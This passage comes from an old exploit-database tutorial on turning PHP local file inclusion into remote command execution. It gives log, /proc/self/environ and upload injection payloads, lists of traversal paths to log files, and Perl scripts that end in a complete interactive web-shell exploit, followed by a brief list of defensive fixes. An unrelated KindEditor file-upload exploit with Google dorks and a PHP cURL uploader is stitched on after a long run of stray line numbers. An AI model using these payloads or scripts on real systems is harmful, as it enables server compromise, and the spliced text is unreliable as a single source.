663/etc/group
664/etc/security/passwd
665/etc/security/user
666/etc/security/environ
667/etc/security/limits
668or
669Dababase Configuration (config.inc.php)
670
671 But we can apply LFI Vulnerabilities to execute command by injecting malicious code
672into Apache log, Process Environment and Other files. This method is called "Remote Code Execution (RCE)"
673
674
675 +++++++++++++++++++++++++++++++++++++
676 [0x02a] - LFI <> RCE via Apache Log
677 +++++++++++++++++++++++++++++++++++++
678
679 The Malicious HTTP Request must existed to Apache logs, By their intrinsic nature logfiles contain
680 data that is driven by users look like this:
681
682 [HTTP Request via Telnet]---------------------------------------------------------------
683 >telnet www.hackme.com 80
684 GET /index.php?p=new.php HTTP/1.1 <-- Normally GET Request when user visit websites
685
686 HTTP/1.1 200 OK Content-Length: 82015 Content-Type: text/html Content-Location: ……
687 ………
688 [End Telnet]----------------------------------------------------------------------------
689
690 [Logfiles - access.log]-----------------------------------------------------------------
691 ......
692 58.18.29.152 - - [05/Dec/2008:12:13:22 +0700]
693 "GET /index.php?p=new.php HTTP/1.1" 200 1958
694 ......
695 [End log]-------------------------------------------------------------------------------
696
697 If we want to run arbitrary command on target system, we must inject PHP code via
698 HTTP request like <?passthru($_GET[cmd])?> After that logfiles will contain Malicious Code
699
700 [Malicious HTTP Request via Telnet]-----------------------------------------------------
701 >telnet www.hackme.com 80
702 GET /cwh/<? passthru($_GET[cmd]) ?> HTTP/1.1 <-- Malicious HTTP Request via Telnet
703
704 ………
705 ………
706 [End telnet]----------------------------------------------------------------------------
707
708 [Logfiles - access.log]-----------------------------------------------------------------
709 ......
710 58.18.29.152 - - [05/Dec/2008:12:14:22 +0700]
711 "GET /cwh/<? passthru($_GET[cmd]) ?> HTTP/1.1" 200 1958 <-- Inject Code into Logfiles
712 ......
713 [End log]-------------------------------------------------------------------------------
714
715 Now We can use LFI Vuln to run arbitrary command by finding out where the logs are stored
716 Go to LFI Vuln path:
717
718 [URL] www.hackme.com/index.php?p=../../apache/logs/access.log <-- You must find Log location
719 (You can see ../../ that traversal to apache access log)
720
721 In webpage, you will see detailed like this:
722
723 Warning: passthru() [function.passthru]: Cannot execute a blank command in
724 /opt/lampp/apache/logs/access.log on line 457
725
726 That's Great !! We have alredy injected code to logfiles, Now run arbitrary command
727 with "cmd" variable like this:
728
729 [LFI <> RCE URL] www.hackme.com/index.php?p=../../apache/logs/access.log%00&cmd=ls -la
730
731 ** Notice **
732
733 If you send Malicious HTTP Request from browser
734 "www.hackme.com/cwh/<? passthru($_GET[cmd]) ?>", the logfile will show in URL encode format
735
736 [Logfiles - access.log]-----------------------------------------------------------------
737 ......
738 58.18.29.152 - - [05/Dec/2008:12:15:14 +0700]
739 "GET /cwh/%3C?%20passthru($_GET[cmd])%20?%3E HTTP/1.1" 200 1958 <-- Not work for Inject
740 ......
741 [End log]-------------------------------------------------------------------------------
742
743 It won't work for RCE because browser will automatically encode special characters
744 (URL encode) after that it writes encoded request into logfiles (access.log).
745 So we must Inject malicious code via Telnet, Netcat or Perl script with
746 socket/useragent/referer that we will guide in next chapter.
747
748 == How about error.log ==
749
750 Error log is written when the requested file does not exist. Thus we can inject
751 malicious code by requesting to non-existed file or inject via "Referer".
752
753 [Malicious HTTP Request via Telnet]-----------------------------------------------------
754 >telnet www.hackme.com 80
755 GET /<? passthru($_GET[cmd]) ?> <-- Get non-existed file with PHP Code
756
757 ………
758 ………
759 [End telnet]----------------------------------------------------------------------------
760
761 [Logfiles - error.log]------------------------------------------------------------------
762 ......
763 [Sat Dec 06 15:12:56 2008] [error] [client 127.0.0.1] (20024)The given path
764 misformatted or contained invalid characters: Cannot map GET /<?passthru($_GET[cmd])?> to file
765 ......
766 [End log]-------------------------------------------------------------------------------
767
768 Bingo !! We can injected code thru error.log, Next example show you about inject code
769 into "referer".
770
771 [Logfiles - error.log]------------------------------------------------------------------
772 ......
773 [Sat Dec 06 13:57:57 2008] [error] [client 58.14.21.120]
774 File does not exist: /opt/lampp/htdocs/test/images/boxmenu.gif,
775 referer: http://www.hackme.com/index.php?p=main.php <-- Normally HTTP Request
776 ......
777 [End log]-------------------------------------------------------------------------------
778
779 From log, Attacker can inject malicious code into "referer" then error.log will be written
780 evil code. However injecting to access.log is easier than error.log
781
782 [Logfiles - error.log]------------------------------------------------------------------
783 ......
784 [Sat Dec 06 13:57:57 2008] [error] [client 58.14.21.120]
785 File does not exist: /opt/lampp/htdocs/test/images/boxmenu.gif,
786 referer: <? passthru($_GET[cmd]) ?> <-- Inject Malicious Code in Referer
787 ......
788 [End log]-------------------------------------------------------------------------------
789
790 Default Log locations list that used with LFI:
791
792 ../apache/logs/error.log
793 ../apache/logs/access.log
794 ../../apache/logs/error.log
795 ../../apache/logs/access.log
796 ../../../apache/logs/error.log
797 ../../../apache/logs/access.log
798 ../../../../../../../etc/httpd/logs/acces_log
799 ../../../../../../../etc/httpd/logs/acces.log
800 ../../../../../../../etc/httpd/logs/error_log
801 ../../../../../../../etc/httpd/logs/error.log
802 ../../../../../../../var/www/logs/access_log
803 ../../../../../../../var/www/logs/access.log
804 ../../../../../../../usr/local/apache/logs/access_ log
805 ../../../../../../../usr/local/apache/logs/access. log
806 ../../../../../../../var/log/apache/access_log
807 ../../../../../../../var/log/apache2/access_log
808 ../../../../../../../var/log/apache/access.log
809 ../../../../../../../var/log/apache2/access.log
810 ../../../../../../../var/log/access_log
811 ../../../../../../../var/log/access.log
812 ../../../../../../../var/www/logs/error_log
813 ../../../../../../../var/www/logs/error.log
814 ../../../../../../../usr/local/apache/logs/error_l og
815 ../../../../../../../usr/local/apache/logs/error.l og
816 ../../../../../../../var/log/apache/error_log
817 ../../../../../../../var/log/apache2/error_log
818 ../../../../../../../var/log/apache/error.log
819 ../../../../../../../var/log/apache2/error.log
820 ../../../../../../../var/log/error_log
821 ../../../../../../../var/log/error.log
822
823
824 ++++++++++++++++++++++++++++++++++++++++++
825 [0x02b] - LFI <> RCE via Process Environ
826 ++++++++++++++++++++++++++++++++++++++++++
827
828 When we request to PHP page, new process will be created. In *nix system, Each process
829 has its own /proc entry. /proc/self/ is a static path and symbolic link from lastest process
830 used that contain useful information. If we inject malicious code into /proc/self/environ, we
831 can run arbitrary command from target via LFI
832
833 [The Question] How to inject code into /proc/self/environ ?
834 [The Answer] We can inject thru User-Agent.
835
836 In Firefox Browser, we use "User Agent Switcher Add-ons" that can specify your user agent
837 manually Or use perl script to specify user agent with malicious code (See Next chapter).
838
839 For instance, a piece of /proc/self/environ would look like this:
840
841 [code]----------------------------------------------------------------------------------
842 PATH=/sbin:/usr/sbin:/bin:/usr/bin:/usr/X11R6/bin:/usr/bin:/bin
843 SERVER_ADMIN=root@hackme.com
844 ...
845 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.4)
846 Gecko/2008102920 Firefox/3.0.4 HTTP_KEEP_ALIVE=300 <-- It contains User-agent
847 ...
848 [End code]------------------------------------------------------------------------------
849
850 When we injected <?passthru($_GET[cmd])?> into our User Agent,
851 /proc/self/environ will contain Malicious code like this:
852
853 [code]----------------------------------------------------------------------------------
854 PATH=/sbin:/usr/sbin:/bin:/usr/bin:/usr/X11R6/bin:/usr/bin:/bin
855 SERVER_ADMIN=root@hackme.com
856 ...
857 <?passthru($_GET[cmd])?> HTTP_KEEP_ALIVE=300 <-- Injected Malicious code
858 ...
859 [End code]------------------------------------------------------------------------------
860
861 Then Go to www.hackme.com/index.php?p=../../../../../proc/self/environ%00&cmd=ls -la
862
863 ** Notice **
864
865 We don't recommend to use this method because It's immediately to inject code and run
866 command before self link change to other process.
867
868
869 ++++++++++++++++++++++++++++++++++++++
870 [0x02c] - LFI <> RCE via Other Files
871 ++++++++++++++++++++++++++++++++++++++
872
873 We saw Vulnerabilities in old version of FCKEditor (www.milw0rm.com/exploits/1484)
874 that allow many file extension to be uploaded, Some versions we can upload an extension not specified in FCKEditor
875 Config[DeniedExtensions][File] array such as .php3,.aa,.bb,.cwh,.blahblahblah. If the website have vulnerability
876 in Local File Inclusion, we can inject malicious code (<?passthru($_GET[cmd])?>) into uploaded file and use LFI
877 traversal with uploaded file links (/userfiles/upload/shell.cwh) to run arbitrary command.
878
879 For example:
880
881 [LFI Vulnerable] www.hackme.com/index.php?p=
882 [Uploaded File] www.hackme.com/userfiles/upload/shell.cwh
883 [LFI <> RCE] www.hackme.com/index.php?p=./userfiles/upload/shell.cwh%00&cmd=ls -la
884
885 Many website in the world allow to upload image file (jpg/gif/bmp/...) almost websites only check file extension
886 (.jpg/.gif/...) so it's vuln !!. If Attacker inject malicious code into image file (Maybe use edjpgcom to insert PHP code
887 to jpeg file or change extension to image file manually) and upload to target server, Use LFI technique traversal to
888 uploaded file and execution arbitrary command.
889
890 ** We will guide you about specify file extension with Perl in Next chapter **
891
892
893##########################################################
894 [0x03] - Fundamental of Perl Library for Exploit Website
895##########################################################
896
897 In this section, we will talk about fundamental of neccessary perl commands used to send HTTP packet to server.
898They play a significant role in writing exploit. We recommend you to read this section before step to next section.
899But if you are familiar with Socket and LWP, you can skip this section. All commands mentioned in this section will be
900used in next section.
901
902 ++++++++++++++++++++++++++++++++++
903 [0x03a] - Introduction to Socket
904 ++++++++++++++++++++++++++++++++++
905
906 Socket is method to create a connection between hosts. we use it to create a connection between our pc
907 and a remote server in order to send manipulated request to a server. The informations that we have to provide for
908 a socket are protocol, server address, server port and data. In perl, we use IO::Socket library to create a socket.
909
910 Syntax for create a socket is following.
911
912 [code]----------------------------------------------------------------------------------
913 $socket = IO::Socket::INET->new (PROTOCAL, PEERADDR, PEERPORT);
914 [End code]------------------------------------------------------------------------------
915
916 For Example: If we want to create socket to port 80 on server ip 192.168.0.111 with tcp protocol,
917 we can use following command:
918
919 [code]----------------------------------------------------------------------------------
920 $socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host", PeerPort=>"80");
921 [End code]------------------------------------------------------------------------------
922
923 when we want to send http request through this socket, we can use this syntax.
924
925 [code]----------------------------------------------------------------------------------
926 print $socket $data;
927 [End code]------------------------------------------------------------------------------
928
929 For Example:
930
931 [code]----------------------------------------------------------------------------------
932 $socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host", PeerPort=>"80");
933 print $socket "GET /index.php HTTP/1.1\r\n";
934 print $socket "Host: 192.168.0.111\r\n";
935 print $socket "Connection: close\r\n\r\n";
936 [End code]------------------------------------------------------------------------------
937
938 After finish using socket, we have to close the socket by this syntax.
939
940 [code]----------------------------------------------------------------------------------
941 close ($socket);
942 [End code]------------------------------------------------------------------------------
943
944 Finally, we can group the entire code together.
945
946 [code]----------------------------------------------------------------------------------
947 use IO::Socket;
948 $socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host", PeerPort=>"80");
949 print $socket "GET /index.php HTTP/1.1\r\n";
950 print $socket "Host: 192.168.0.111\r\n";
951 print $socket "Connection: close\r\n\r\n";
952 close ($socket);
953 [End code]------------------------------------------------------------------------------
954
955
956 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++
957 [0x03b] - Introduction to Library for WWW in Perl (LWP)
958 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++
959
960 LWP is a set of perl module designed to handle sending of http request. Usually we use this library
961 simultaneously with HTTP::Request and HTTP::Response.
962
963 If we speak clearly, we can classify a role of these library as following:
964
965 - HTTP::Request => used to manipulate http request.
966 - LWP::UserAgent => used to sent http request.
967 - HTTP::Response => used to handle http response.
968
969 If we want to use these libraries to obtain content from index.php file on 192.168.0.111,
970 we can following these steps.
971
972 1: Create http request header using HTTP::Request
973
974 [code]----------------------------------------------------------------------------------
975 $request = HTTP::Request->new (GET => "http://192.168.0.111/index.php");
976 $request->header (User_Agent => "Mozilla 2.0");
977 [End code]------------------------------------------------------------------------------
978
979 2: Send the http request to server by LWP::UserAgent and obtain http response by HTTP::Response
980
981 [code]----------------------------------------------------------------------------------
982 $ua = LWP::UserAgent->new();
983 $response = $ua->request ($request); ## Return value of request function is HTTP::Response object.
984 ## So now we have $response holding HTTP::Response object
985 [End code]------------------------------------------------------------------------------
986
987 3: Get http response content from HTTP::Response object, Ex:
988
989 [code]----------------------------------------------------------------------------------
990 print $response->code; ## response code ex. 200, 404, 503
991 print $response->header->as_string; ## response header
992 print $response->content; ## html code of http response
993 [End code]------------------------------------------------------------------------------
994
995 If we group all code together to show header and content of http transaction, we can do following:
996
997 [code]----------------------------------------------------------------------------------
998 use LWP;
999 use HTTP::Request;
1000
1001 $request = HTTP::Request->new (GET => "http://192.168.0.111/index.php");
1002 $request->header (User_Agent => "Mozilla 2.0");
1003
1004 $ua = LWP::UserAgent->new();
1005 $response = $ua->request ($request);
1006
1007 print $response->header->as_string; ## $response->header is an object of HTTP::Header. It cannot to print as string,
1008 ## so we use as_string method to solve this problem
1009 print "\n";
1010 print $response->content;
1011 [End code]------------------------------------------------------------------------------
1012
1013
1014 ++++++++++++++++++++++++++++++++++++++++++
1015 [0x03c] - Condition to use Socket or LWP
1016 ++++++++++++++++++++++++++++++++++++++++++
1017
1018 As you can see above, Socket and LWP can send http request to server.
1019 But we have only a few conditions to dicide to use Socket or LWP.
1020
1021 1: We will use Socket when,
1022
1023 - We do not want http response. (Only inject http request packet to server)
1024 - We do not want http request to be encoded. (If we send get method with LWP, the HTTP request will be URL Encoded)
1025
1026 2: We will use LWP when,
1027
1028 - We want http response. (It will be stored in HTTP::Response object)
1029 - Other condition ;D (We think it is more convenient to us than Socket)
1030
1031
1032######################################################
1033 [0x04] - Writing LFI <> RCE Exploit with Perl Script
1034######################################################
1035
1036 ++++++++++++++++++++++++++++++++++++++++++++++++++++++
1037 [0x04a] - Perl Exploit to Injecting code into Target
1038 ++++++++++++++++++++++++++++++++++++++++++++++++++++++
1039
1040 We can inject our php code to server in many ways as I mention above. The rest that we have to work
1041 with is creating perl script to do our task.
1042 To create perl script to send malicious request, we will use socket to help this part.
1043 Before writing perl script, we have to know which file we will inject code into and how to do that.
1044
1045 [+] Inject via logfile
1046
1047 Logfiles are written when there is a request to a file on server. Thus we can manipulate
1048 http request in order to inject malicious code.
1049
1050 Example:
1051
1052 [code]----------------------------------------------------------------------------------
1053 $socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host", PeerPort=>"80");
1054 print $socket "GET /cwhunderground <? passthru(\$_GET[cmd]); ?> HTTP/1.1\r\n";
1055 print $socket "host: 192.168.0.111\r\n";
1056 print $socket "Connection: close\r\n\r\n";
1057 close ($socket);
1058 [End code]------------------------------------------------------------------------------
1059
1060
1061 [+] Inject via Other files
1062
1063 In some websites, they allow us to upload files. If we know the path to uploaded file,
1064 we can use LFI vulnerability to execute command in our uploaded file.
1065
1066 Example:
1067
1068 [code]----------------------------------------------------------------------------------
1069 $socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host", PeerPort=>"80");
1070 print $socket "POST /uploadsave.php HTTP/1.1\r\n";
1071 print $socket "host: 192.168.0.111\r\n";
1072 print $socket "Content-Type: multipart/form-data; boundary=CwHCwH\r\n";
1073 print $socket "--CwHCwH\r\n";
1074 print $socket "Content-Disposition: form-data; name=\"shell.cwh\"; filename=\"shell.cwh\"\r\n";
1075 print $socket "Content-Type: application/zip\r\n\r\n";
1076 print $socket "<? passthru(\$_GET[cmd]); ?>\n";
1077 print $socket "--CwHCwH\r\n";
1078 close ($socket);
1079 [End code]------------------------------------------------------------------------------
1080
1081
1082 [+] Inject via process environment
1083
1084 In process environment file, there is user agent of using browser as a part of content.
1085 Therefore we can inject malicious code by spoofing user agent.
1086
1087 Example:
1088
1089 [code]----------------------------------------------------------------------------------
1090 $socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host", PeerPort=>"80");
1091 print $socket "GET /index.php HTTP/1.1\r\n";
1092 print $socket "host: 192.168.0.111\r\n";
1093 print $socket "User-Agent: <? passthru(\$_GET[cmd]); ?>\r\n";
1094 print $socket "Connection: close\r\n\r\n";
1095 close ($socket);
1096 [End code]------------------------------------------------------------------------------
1097
1098
1099 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
1100 [0x04b] - Perl Exploit to Executing injected code on Target
1101 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
1102
1103 As previous section, we can inject malicious code into some files on server by example code.
1104 In this section, we will show how to create script to execute our code on server. So, we have to bring
1105 the concept from section 0x03b about LWP library.
1106 (We choose to use LWP because we need http response to show result from execution of our code)
1107
1108 [+] Execute code from logfile
1109
1110 [code]----------------------------------------------------------------------------------
1111 use LWP;
1112 use HTTP::Request;
1113
1114 $logfile = "../../../../var/log/httpd/access.log"; <-- We must specify Logfile locations
1115
1116 ## looping for execute command and exit program when command = exit ##
1117 print "cwh-shell# ";
1118 chomp( $cmd = <STDIN> );
1119 while($cmd !~ "exit")
1120 {
1121 $content = "";
1122 $request = HTTP::Request->new (GET => "http://192.168.0.111/path/to/lfi.php?file=".$logfile."%00&cmd=".$cmd);
1123 $ua = LWP::UserAgent->new();
1124 $response = $ua->request ($request);
1125 $content = $response->content;
1126 print $content."\n";
1127 print "cwh-shell# ";
1128 chomp( $cmd = <STDIN> );
1129 }
1130 [End code]------------------------------------------------------------------------------
1131
1132
1133 [+] Execute code from Other files
1134
1135 I assume that the uploaded file is ../../../path/to/uploaded/file/shell.cwh .
1136 We will get RCE script like this.
1137
1138 [code]----------------------------------------------------------------------------------
1139 use LWP;
1140 use HTTP::Request;
1141
1142 $uploadedfile = "../../../path/to/uploaded/file/shell.cwh";
1143
1144 ## looping for execute command and exit program when command = exit ###
1145 print "cwh-shell# ";
1146 chomp( $cmd = <STDIN> );
1147 while($cmd !~ "exit")
1148 {
1149 $content = "";
1150 $request = HTTP::Request->new (GET => "http://192.168.0.111/path/to/lfi.php?file=".$uploadedfile."%00&cmd=".$cmd);
1151 $ua = LWP::UserAgent->new();
1152 $response = $ua->request ($request);
1153 $content = $response->content;
1154 print $content."\n";
1155 print "cwh-shell# ";
1156 chomp( $cmd = <STDIN> );
1157 }
1158 [End code]------------------------------------------------------------------------------
1159
1160 [+] Execute code from process environment
1161
1162 The injected process environment file is /proc/self/environ.
1163 So, we have to traversal back to root path by using ../../
1164
1165 [code]----------------------------------------------------------------------------------
1166 use LWP;
1167 use HTTP::Request;
1168
1169 $procenviron = "../../../../../../proc/self/environ";
1170
1171 ## looping for execute command and exit program when command = exit ##
1172 print "cwh-shell# ";
1173 chomp( $cmd = <STDIN> );
1174 while($cmd !~ "exit")
1175 {
1176 $content = "";
1177 $request = HTTP::Request->new (GET => "http://192.168.0.111/path/to/lfi.php?file=".$procenviron."%00&cmd=".$cmd);
1178 $ua = LWP::UserAgent->new();
1179 $response = $ua->request ($request);
1180 $content = $response->content;
1181 print $content."\n";
1182 print "cwh-shell# ";
1183 chomp( $cmd = <STDIN> );
1184 }
1185 [End code]------------------------------------------------------------------------------
1186
1187
1188 Finally, as you can see from three codes above, the code to loop for execute command is the same.
1189 The difference is how to find a path of injected file.
1190
1191 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
1192 [0x04c] - LFI <> RCE Complete Exploit [Use Logfile Injection]
1193 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
1194
1195 In order to execute code from logfile, we have a problem that we do not know the exact path of logfile.
1196 So we have to find path by looping through the fesible paths that we have and see which file contain
1197 the word "cwhunderground" as we inject in previous example code.
1198
1199 Simple Code for LFI <> RCE Exploit:
1200
1201 [code]----------------------------------------------------------------------------------
1202 use LWP::UserAgent;
1203 use IO::Socket;
1204 use LWP::Simple;
1205
1206 $log="../";
1207 @apache=(
1208 "../../../../../var/log/httpd/access_log",
1209 "../apache/logs/access.log",
1210 "../../apache/logs/access.log",
1211 "../../../apache/logs/access.log",
1212 "../../../../apache/logs/access.log",
1213 "../../../../../apache/logs/access.log",
1214 "../logs/access.log",
1215 "../../logs/access.log",
1216 "../../../logs/access.log",
1217 "../../../../logs/access.log",
1218 "../../../../../logs/access.log",
1219 "../../../../../etc/httpd/logs/access_log",
1220 "../../../../../etc/httpd/logs/access.log",
1221 "../../.. /../../var/www/logs/access_log",
1222 "../../../../../var/www/logs/access.log",
1223 "../../../../../usr/local/apache/logs/access_log",
1224 "../../../../../usr/local/apache/logs/access.log",
1225 "../../../../../var/log/apache/access_log",
1226 "../../../../../var/log/apache/access.log",
1227 "../../../../../var/log/access_log",
1228 "../../../../../var/log/access_log"
1229 );
1230
1231 my $sis="$^O";if ($sis eq 'MSWin32') { system("cls"); } else { system("clear"); }
1232
1233 print "\n==========================================\n";
1234 print " LFI to RCE Exploit \n";
1235 print " By CWH Underground \n";
1236 print "==========================================\n";
1237
1238 if (@ARGV < 2)
1239 {
1240 print "Usage: ./xpl.pl <Host> <Path>\n";
1241 print "Ex. ./xpl.pl www.hackme.com /ktp/index.php?page=\n";
1242 }
1243
1244 $host=$ARGV[0];
1245 $path=$ARGV[1];
1246
1247 if ( $host =~ /^http:/ ) {$host =~ s/http:\/\///g;}
1248
1249 print "\nTrying to Inject the Code...\n";
1250 $CODE="<?php if(get_magic_quotes_gpc()){ \$_GET[cmd]=stripslashes(\$_GET[cmd]);} passthru(\$_GET[cmd]);?>";
1251 $socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host", PeerPort=>"80") or die "Could not connect to host.\n\n";
1252 print $socket "GET /cwhunderground "."\#\#%\$\$%\#\#".$CODE."\#\#%\$\$%\#\#"." HTTP/1.1\r\n";
1253 print $socket "Host: ".$host."\r\n";
1254 print $socket "Connection: close\r\n\r\n";
1255 close($socket);
1256
1257 if ( $host !~ /^http:/ ) {$host = "http://" . $host;}
1258
1259 foreach $getlog(@apache)
1260 {
1261 chomp($getlog);
1262 $find= $host.$path.$getlog."%00";
1263 $xpl = LWP::UserAgent->new() or die "Could not initialize browser\n";
1264 $req = HTTP::Request->new(GET => $find);
1265 $res = $xpl->request($req);
1266 $info = $res->content;
1267 if($info =~ /cwhunderground/)
1268 {print "\nSuccessfully injected in $getlog \n";$log=$getlog;}
1269 }
1270
1271 print "cwh-shell# ";
1272 chomp( $cmd = <STDIN> );
1273
1274 while($cmd !~ "exit") {
1275 $shell= $host.$path.$log."%00&cmd=$cmd";
1276 $xpl = LWP::UserAgent->new() or die "Could not initialize browser\n";
1277 $req = HTTP::Request->new(GET => $shell);
1278 $res = $xpl->request($req);
1279 $info = $res->content;
1280 if ($info =~ /\#\#%\$\$%\#\#(.*?)\#\#%\$\$%\#\#/sg)
1281 {print $1;}
1282 print "cwh-shell# ";
1283 chomp( $cmd = <STDIN> );
1284 }
1285 [End code]------------------------------------------------------------------------------
1286
1287
1288########################################
1289 [0x05] - How to protect File Inclusion
1290########################################
1291
1292- Consider implementing a chroot jail
1293- Check user supplied files or filenames
1294- Strongly validate user input, Ensure that all variables
1295 are properly initialized prior to the first use
1296- Disable allow_url_fopen and allow_url_include
1297- Disable register_globals and use E_STRICT to find uninitialized variables
1298- Ensure that all file and stream functions (stream_*) are carefully vetted
1299- To avoid being injected with remote files, it is essential to specify exactly
1300 where the file should be located, e.g. its full path
1301- Secure Code, If you want to use include() function, For example:
1302
1303// Vulnerable Code !!
1304
1305
1306[code]----------------------------------------------------------------------------------
1307<?php
1308$file =$_GET['page'];
1309include($file);
1310?>
1311[End code]------------------------------------------------------------------------------
1312
1313
1314// #1 Patching Code !!
1315
1316
1317[code]----------------------------------------------------------------------------------
1318<?php
1319include "./new.php"; <-- Should not use file name from $_GET content,
1320?> Always specify your files to include
1321[End code]------------------------------------------------------------------------------
1322
1323
1324// #2 Patching Code !!
1325
1326
1327[code]----------------------------------------------------------------------------------
1328<?php
1329$file =$_GET['page'];
1330$check = array('index.php', 'new.php', 'guestbook.php');
1331 if(in_array($file, $check)) <-- Check $_GET['page'] from array[]
1332 {include($file);}
1333 else{die("Don't Hack Me Plz!");}
1334?>
1335[End code]------------------------------------------------------------------------------
1336
1337
1338#####################
1339 [0x06] - References
1340#####################
1341
1342[1] http://en.wikipedia.org/wiki/Remote_File_Inclusion
1343[2] http://cwe.mitre.org/data/definitions/98.html
1344[3] hakin9: Remote and File Inclusion Explained (Gordon Johnson)
1345[4] http://www.perl.com/pub/a/2002/08/20/perlandlwp.html
1346[5] www.owasp.org/index.php/PHP_Top_5
1347[6] www.milw0rm.com
1348
1349####################
1350 [0x07] - Greetz To
1351####################
1352
1353Greetz : ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos, Gdiupo, GnuKDE, JK
1354Special Thx : asylu3, str0ke, citec.us, milw0rm.com
1355
1356 ----------------------------------------------------
1357 This paper is written for Educational purpose only. The authors are not responsible for any damage
1358 originating from using this paper in wrong objective. If you want to use this knowleadge with other person systems,
1359 you must request for consent from system owner before
1360 ----------------------------------------------------
1361
1362# milw0rm.com [2008-12-08]
1363© Copyright 2016 Exploit Database
1364
1365
1366=================================
1367
1368KindEditor (v.3.x->4.1.5) <= Multiple File/Shell Upload Vulnerability
1369
1370[ home ] [ description ]
1371
1372Full title KindEditor (v.3.x->4.1.5) <= Multiple File/Shell Upload Vulnerability
1373Date add 11-03-2013
1374Category web applications
1375Platform multiple
1376Risk
1377Security Risk High
1378Vendor http://www.kindsoft.net
1379Affected ver v.3.x->4.1.5
1380Tested on Windows7 (Fr) | Linux|BackTrack 5rc3
1381
1382Description:
1383- This bug in ( KindEditor ) you can upload remote files ( .txt .html ...etc )
1384with multiple JSON upload langs type ( PHP / ASP / JSP / ASP.NET )
1385this bug found in old versions by some author , but is still work is latest version .
1386
1387- Latest V. is ( 4.1.5 ) , Released on ( Jan 19, 2013 )
13881
13892
13903
13914
13925
13936
13947
13958
13969
139710
139811
139912
140013
140114
140215
140316
140417
140518
140619
140720
140821
140922
141023
141124
141225
141326
141427
141528
141629
141730
141831
141932
142033
142134
142235
142336
142437
142538
142639
142740
142841
142942
143043
143144
143245
143346
143447
143548
143649
143750
143851
143952
144053
144154
144255
144356
144457
144558
144659
144760
144861
144962
145063
145164
145265
145366
145467
145568
145669
145770
145871
145972
146073
146174
146275
146376
146477
146578
146679
146780
146881
146982
147083
147184
147285
147386
147487
147588
147689
147790
147891
147992
148093
148194
148295
148396
148497
148598
148699
1487100
1488101
1489102
1490103
1491104
1492105
1493106
1494107
1495108
1496109
1497110
1498111
1499112
1500113
1501114
1502115
1503116
1504117
1505118
1506119
1507120
1508121
1509122
1510123
1511124
1512125
1513126
1514127
1515128
1516129
1517130
1518131
1519132
1520133
15211-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
15220 _ __ __ __ 1
15231 /' \ __ /'__`\ /\ \__ /'__`\ 0
15240 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
15251 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
15260 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
15271 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
15280 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
15291 \ \____/ >> Exploit database separated by exploit 0
15300 \/___/ type (local, remote, DoS, etc.) 1
15311 1
15320 [+] Site : 1337day.com 0
15331 [+] Support e-mail : submit[at]1337day.com 1
15340 0
15351 ######################################### 1
15360 I'm KedAns-Dz member from Inj3ct0r Team 1
15371 ######################################### 0
15380-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
1539
1540###
1541# Title : KindEditor (v.3.x->4.1.5) <= File/Shell Upload Vulnerability
1542# Author : KedAns-Dz
1543# E-mail : ked-h (@hotmail.com / @1337day.com)
1544# Home : Hassi.Messaoud (30500) - Algeria -(00213555248701)
1545# Web Site : www.1337day.com
1546# FaCeb0ok : http://fb.me/Inj3ct0rK3d
1547# TwiTter : @kedans
1548# Friendly Sites : www.r00tw0rm.com * www.exploit-id.com
1549# Platform/CatID : php - remote - Multiple
1550# Type : php - proof of concept - webapp 0day
1551# Tested on : Windows7
1552# Download : [http://code.google.com/p/kindeditor/downloads/detail?name=kindeditor-4.1.5.zip]
1553# Vendor : [http://www.kindsoft.net/]
1554###
1555
1556# <3 <3 Greetings t0 Palestine <3 <3
1557# F-ck HaCking, Lov3 Explo8ting !
1558
1559######## [ Proof / Exploit ] ################|=>
1560
1561# Description :
1562---------------
1563- This bug in ( KindEditor ) you can upload remote files ( .txt .html ...etc )
1564with multiple JSON upload langs type ( PHP / ASP / JSP / ASP.NET )
1565this bug found in old versions by some author , but is still work is latest version .
1566
1567- Latest V. is ( 4.1.5 ) , Released on ( Jan 19, 2013 )
1568
1569- old poc : (http://www.devilscafe.in/2012/01/kindedior-remote-file-upload-exploit.html)
1570
1571# Google Dork :
1572---------------
1573 allinurl:/examples/uploadbutton.html
1574 allinurl:/php/upload_json.php / .asp / .jsp
1575
1576# KindEditor PHP_JSON Uploader
1577------------------------------
1578
1579<?php
1580
1581$uploadfile="KedAns.txt";
1582$ch = curl_init("http://[Target]/[path]/kindeditor/php/upload_json.php?dir=file");
1583curl_setopt($ch, CURLOPT_POST, true);
1584curl_setopt($ch, CURLOPT_POSTFIELDS,
1585 array('imgFile'=>"@$uploadfile"));
1586curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
1587$postResult = curl_exec($ch);
1588curl_close($ch);
1589print "$postResult";
1590
1591?>
1592
1593# KindEditor (ASP,ASP.NET,JSP,PHP) _JSON Uploader :
1594--------------------------------------------------
1595
1596- Change the Uploader by ( LANG / PATH ) and use this HTML Uploader
1597
1598/asp/upload_json.asp
